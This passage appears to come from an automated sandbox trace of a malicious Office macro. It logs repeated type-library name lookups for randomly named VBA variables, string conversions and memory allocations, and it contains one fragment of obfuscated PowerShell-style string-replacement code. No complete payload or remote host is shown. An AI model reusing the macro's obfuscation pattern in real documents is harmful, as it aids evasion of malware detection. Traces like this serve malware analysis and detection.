_DstSize=0x9, _Src="dkapnrWX" | out: _Dst="dkapnrWX") returned 0x0 [0018.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=9, lpWideCharStr=0x305010, cchWideChar=9 | out: lpWideCharStr="dkapnrWX") returned 9 [0018.671] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.671] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="dkapnrWX", lHashVal=0x10e947, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.671] IUnknown:Release (This=0x7919520) returned 0xd [0018.671] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.671] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="dkapnrWX", lHashVal=0x10e947, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.671] IUnknown:Release (This=0x7346470) returned 0xb [0018.671] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.671] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="dkapnrWX", lHashVal=0x10e947, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.671] IUnknown:Release (This=0x7345930) returned 0x7 [0018.671] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.671] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="dkapnrWX", lHashVal=0x10e947, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.671] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.671] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x7970d60 [0018.671] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_dkapnrWX") returned 0x10c0d0 [0018.671] strcpy_s (in: _Dst=0x305370, _DstSize=0x10, _Src="_B_var_dkapnrWX" | out: _Dst="_B_var_dkapnrWX") returned 0x0 [0018.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=16, lpWideCharStr=0x3051c0, cchWideChar=16 | out: lpWideCharStr="_B_var_dkapnrWX") returned 16 [0018.671] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.671] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_dkapnrWX", lHashVal=0x10c0d0, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.671] IUnknown:Release (This=0x7919520) returned 0xd [0018.671] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.671] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_dkapnrWX", lHashVal=0x10c0d0, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.671] IUnknown:Release (This=0x7346470) returned 0xb [0018.671] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.671] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_dkapnrWX", lHashVal=0x10c0d0, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.671] IUnknown:Release (This=0x7345930) returned 0x7 [0018.671] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.671] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_dkapnrWX", lHashVal=0x10c0d0, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.671] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.671] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.671] IUnknown:Release (This=0x7919520) returned 0xd [0018.671] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62a94, cbMultiByte=10, lpWideCharStr=0xcd91d2c, cchWideChar=22 | out: lpWideCharStr="SabqOmPCkU") returned 10 [0018.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62aae, cbMultiByte=10, lpWideCharStr=0xcd92176, cchWideChar=22 | out: lpWideCharStr="fpjaFXrhZS") returned 10 [0018.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62ac2, cbMultiByte=10, lpWideCharStr=0xcd92320, cchWideChar=22 | out: lpWideCharStr="MBSaQGXcwo") returned 10 [0018.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62ad6, cbMultiByte=10, lpWideCharStr=0xcd924ca, cchWideChar=22 | out: lpWideCharStr="jArVqQROhn") returned 10 [0018.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62aea, cbMultiByte=10, lpWideCharStr=0xcd92674, cchWideChar=22 | out: lpWideCharStr="ivNNuOBMoS") returned 10 [0018.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62afe, cbMultiByte=10, lpWideCharStr=0xcd9281e, cchWideChar=22 | out: lpWideCharStr="fmkFLQIAaH") returned 10 [0018.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62b12, cbMultiByte=10, lpWideCharStr=0xcd929c8, cchWideChar=22 | out: lpWideCharStr="PmEwlfzLjp") returned 10 [0018.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62b26, cbMultiByte=10, lpWideCharStr=0xcd92b72, cchWideChar=22 | out: lpWideCharStr="FdAloRoEfC") returned 10 [0018.673] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcda0000 [0018.674] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EElbwAcXKwM") returned 0x100030 [0018.674] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="EElbwAcXKwM" | out: _Dst="EElbwAcXKwM") returned 0x0 [0018.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="EElbwAcXKwM") returned 12 [0018.674] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.674] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="EElbwAcXKwM", lHashVal=0x100030, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.674] IUnknown:Release (This=0x7919520) returned 0xd [0018.674] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.674] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="EElbwAcXKwM", lHashVal=0x100030, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.674] IUnknown:Release (This=0x7346470) returned 0xb [0018.674] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.674] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="EElbwAcXKwM", lHashVal=0x100030, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.674] IUnknown:Release (This=0x7345930) returned 0x7 [0018.674] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.674] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="EElbwAcXKwM", lHashVal=0x100030, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.674] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.674] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.674] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_EElbwAcXKwM") returned 0x10e211 [0018.674] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_EElbwAcXKwM" | out: _Dst="_B_var_EElbwAcXKwM") returned 0x0 [0018.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_EElbwAcXKwM") returned 19 [0018.674] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.674] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_EElbwAcXKwM", lHashVal=0x10e211, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.674] IUnknown:Release (This=0x7919520) returned 0xd [0018.674] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.674] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_EElbwAcXKwM", lHashVal=0x10e211, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.675] IUnknown:Release (This=0x7346470) returned 0xb [0018.675] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.675] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_EElbwAcXKwM", lHashVal=0x10e211, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.675] IUnknown:Release (This=0x7345930) returned 0x7 [0018.675] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.675] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_EElbwAcXKwM", lHashVal=0x10e211, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.675] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.675] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.675] IUnknown:Release (This=0x7919520) returned 0xd [0018.675] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62b44, cbMultiByte=59, lpWideCharStr=0xcda0ffc, cchWideChar=120 | out: lpWideCharStr="KUaQuacE('ctV','$').repLacE('VnL',[String][char]39) ) Kaklb") returned 59 [0018.675] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abc3a0 [0018.675] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.675] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.675] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.675] IUnknown:Release (This=0x7919520) returned 0xd [0018.675] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.675] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dtVUSHj") returned 0x10c4c6 [0018.675] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x8, _Src="dtVUSHj" | out: _Dst="dtVUSHj") returned 0x0 [0018.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=8, lpWideCharStr=0x305010, cchWideChar=8 | out: lpWideCharStr="dtVUSHj") returned 8 [0018.675] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.675] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="dtVUSHj", lHashVal=0x10c4c6, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.675] IUnknown:Release (This=0x7919520) returned 0xd [0018.675] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.675] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="dtVUSHj", lHashVal=0x10c4c6, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.675] IUnknown:Release (This=0x7346470) returned 0xb [0018.675] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.675] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="dtVUSHj", lHashVal=0x10c4c6, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.675] IUnknown:Release (This=0x7345930) returned 0x7 [0018.675] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.675] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="dtVUSHj", lHashVal=0x10c4c6, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.675] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.675] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x7970d60 [0018.676] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_dtVUSHj") returned 0x10b8c9 [0018.676] strcpy_s (in: _Dst=0x305370, _DstSize=0xf, _Src="_B_var_dtVUSHj" | out: _Dst="_B_var_dtVUSHj") returned 0x0 [0018.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=15, lpWideCharStr=0x3051c0, cchWideChar=15 | out: lpWideCharStr="_B_var_dtVUSHj") returned 15 [0018.676] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.676] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_dtVUSHj", lHashVal=0x10b8c9, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.676] IUnknown:Release (This=0x7919520) returned 0xd [0018.676] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.676] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_dtVUSHj", lHashVal=0x10b8c9, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.676] IUnknown:Release (This=0x7346470) returned 0xb [0018.676] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.676] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_dtVUSHj", lHashVal=0x10b8c9, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.676] IUnknown:Release (This=0x7345930) returned 0x7 [0018.676] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.676] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_dtVUSHj", lHashVal=0x10b8c9, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.676] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.676] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.676] IUnknown:Release (This=0x7919520) returned 0xd [0018.676] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62b9c, cbMultiByte=10, lpWideCharStr=0xcda1d90, cchWideChar=22 | out: lpWideCharStr="ATBcbSUPzW") returned 10 [0018.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62bb6, cbMultiByte=10, lpWideCharStr=0xcda21da, cchWideChar=22 | out: lpWideCharStr="fpvGPJIWqG") returned 10 [0018.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62bca, cbMultiByte=10, lpWideCharStr=0xcda2384, cchWideChar=22 | out: lpWideCharStr="UzJliSbbKD") returned 10 [0018.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62bde, cbMultiByte=10, lpWideCharStr=0xcda252e, cchWideChar=22 | out: lpWideCharStr="wlrzYpFajw") returned 10 [0018.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62bf2, cbMultiByte=10, lpWideCharStr=0xcda26d8, cchWideChar=22 | out: lpWideCharStr="QzdzMKzAAU") returned 10 [0018.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62c06, cbMultiByte=10, lpWideCharStr=0xcda2882, cchWideChar=22 | out: lpWideCharStr="oKWoMDJQuJ") returned 10 [0018.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62c1a, cbMultiByte=10, lpWideCharStr=0xcda2a2c, cchWideChar=22 | out: lpWideCharStr="rsFvatzwiZ") returned 10 [0018.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62c2e, cbMultiByte=10, lpWideCharStr=0xcda2bd6, cchWideChar=22 | out: lpWideCharStr="DintqXTJYY") returned 10 [0018.677] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcdb0000 [0018.679] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SjDSQBXiL") returned 0x10550f [0018.679] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xa, _Src="SjDSQBXiL" | out: _Dst="SjDSQBXiL") returned 0x0 [0018.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=10, lpWideCharStr=0x305010, cchWideChar=10 | out: lpWideCharStr="SjDSQBXiL") returned 10 [0018.679] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.679] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="SjDSQBXiL", lHashVal=0x10550f, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.679] IUnknown:Release (This=0x7919520) returned 0xd [0018.679] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.679] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="SjDSQBXiL", lHashVal=0x10550f, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.679] IUnknown:Release (This=0x7346470) returned 0xb [0018.679] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.679] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="SjDSQBXiL", lHashVal=0x10550f, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.679] IUnknown:Release (This=0x7345930) returned 0x7 [0018.679] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.679] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="SjDSQBXiL", lHashVal=0x10550f, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.679] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.679] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x7970d60 [0018.679] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_SjDSQBXiL") returned 0x104ed3 [0018.679] strcpy_s (in: _Dst=0x305370, _DstSize=0x11, _Src="_B_var_SjDSQBXiL" | out: _Dst="_B_var_SjDSQBXiL") returned 0x0 [0018.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=17, lpWideCharStr=0x3051c0, cchWideChar=17 | out: lpWideCharStr="_B_var_SjDSQBXiL") returned 17 [0018.679] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.679] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_SjDSQBXiL", lHashVal=0x104ed3, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.679] IUnknown:Release (This=0x7919520) returned 0xd [0018.679] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.679] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_SjDSQBXiL", lHashVal=0x104ed3, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.679] IUnknown:Release (This=0x7346470) returned 0xb [0018.679] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.679] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_SjDSQBXiL", lHashVal=0x104ed3, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.679] IUnknown:Release (This=0x7345930) returned 0x7 [0018.679] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.679] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_SjDSQBXiL", lHashVal=0x104ed3, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.679] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.679] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.679] IUnknown:Release (This=0x7919520) returned 0xd [0018.679] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62c4c, cbMultiByte=10, lpWideCharStr=0xcdb107c, cchWideChar=22 | out: lpWideCharStr="FKofIzPlJZ") returned 10 [0018.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62c66, cbMultiByte=10, lpWideCharStr=0xcdb14c6, cchWideChar=22 | out: lpWideCharStr="HQoZXsqQbP") returned 10 [0018.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62c7a, cbMultiByte=10, lpWideCharStr=0xcdb1670, cchWideChar=22 | out: lpWideCharStr="QqdwNCmwRu") returned 10 [0018.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62c8e, cbMultiByte=10, lpWideCharStr=0xcdb181a, cchWideChar=22 | out: lpWideCharStr="bDVYCFzYno") returned 10 [0018.680] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abc5f0 [0018.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62ca2, cbMultiByte=10, lpWideCharStr=0xcdb19c4, cchWideChar=22 | out: lpWideCharStr="PLBJhooaNw") returned 10 [0018.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62cb6, cbMultiByte=10, lpWideCharStr=0xcdb1b6e, cchWideChar=22 | out: lpWideCharStr="aXdQlOjpSG") returned 10 [0018.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62cca, cbMultiByte=10, lpWideCharStr=0xcdb1d18, cchWideChar=22 | out: lpWideCharStr="KQUPwEvQXS") returned 10 [0018.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62cde, cbMultiByte=10, lpWideCharStr=0xcdb1ec2, cchWideChar=22 | out: lpWideCharStr="uRdmzFpTRY") returned 10 [0018.681] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcdc0000 [0018.682] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MEVWrHIj") returned 0x108859 [0018.682] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x9, _Src="MEVWrHIj" | out: _Dst="MEVWrHIj") returned 0x0 [0018.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=9, lpWideCharStr=0x305010, cchWideChar=9 | out: lpWideCharStr="MEVWrHIj") returned 9 [0018.682] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.682] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="MEVWrHIj", lHashVal=0x108859, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.682] IUnknown:Release (This=0x7919520) returned 0xd [0018.682] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.682] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="MEVWrHIj", lHashVal=0x108859, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.682] IUnknown:Release (This=0x7346470) returned 0xb [0018.682] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.682] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="MEVWrHIj", lHashVal=0x108859, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.682] IUnknown:Release (This=0x7345930) returned 0x7 [0018.682] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.682] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="MEVWrHIj", lHashVal=0x108859, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.682] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.682] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x7970d60 [0018.682] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_MEVWrHIj") returned 0x105fe2 [0018.682] strcpy_s (in: _Dst=0x305370, _DstSize=0x10, _Src="_B_var_MEVWrHIj" | out: _Dst="_B_var_MEVWrHIj") returned 0x0 [0018.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=16, lpWideCharStr=0x3051c0, cchWideChar=16 | out: lpWideCharStr="_B_var_MEVWrHIj") returned 16 [0018.682] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.682] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_MEVWrHIj", lHashVal=0x105fe2, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.682] IUnknown:Release (This=0x7919520) returned 0xd [0018.682] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.682] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_MEVWrHIj", lHashVal=0x105fe2, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.682] IUnknown:Release (This=0x7346470) returned 0xb [0018.682] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.682] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_MEVWrHIj", lHashVal=0x105fe2, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.683] IUnknown:Release (This=0x7345930) returned 0x7 [0018.683] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.683] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_MEVWrHIj", lHashVal=0x105fe2, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.683] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.683] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.683] IUnknown:Release (This=0x7919520) returned 0xd [0018.683] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62cfc, cbMultiByte=10, lpWideCharStr=0xcdc034c, cchWideChar=22 | out: lpWideCharStr="zwhRRVFjOE") returned 10 [0018.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62d16, cbMultiByte=10, lpWideCharStr=0xcdc0796, cchWideChar=22 | out: lpWideCharStr="qpjmjtDWVj") returned 10 [0018.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62d2a, cbMultiByte=10, lpWideCharStr=0xcdc0940, cchWideChar=22 | out: lpWideCharStr="CwJijWPqod") returned 10 [0018.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62d3e, cbMultiByte=10, lpWideCharStr=0xcdc0aea, cchWideChar=22 | out: lpWideCharStr="sppDMNDVps") returned 10 [0018.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62d52, cbMultiByte=10, lpWideCharStr=0xcdc0c94, cchWideChar=22 | out: lpWideCharStr="GAwjoiLChG") returned 10 [0018.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62d66, cbMultiByte=10, lpWideCharStr=0xcdc0e3e, cchWideChar=22 | out: lpWideCharStr="zZwRNznDlu") returned 10 [0018.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62d7a, cbMultiByte=10, lpWideCharStr=0xcdc0fe8, cchWideChar=22 | out: lpWideCharStr="GOvlLBzcaW") returned 10 [0018.684] 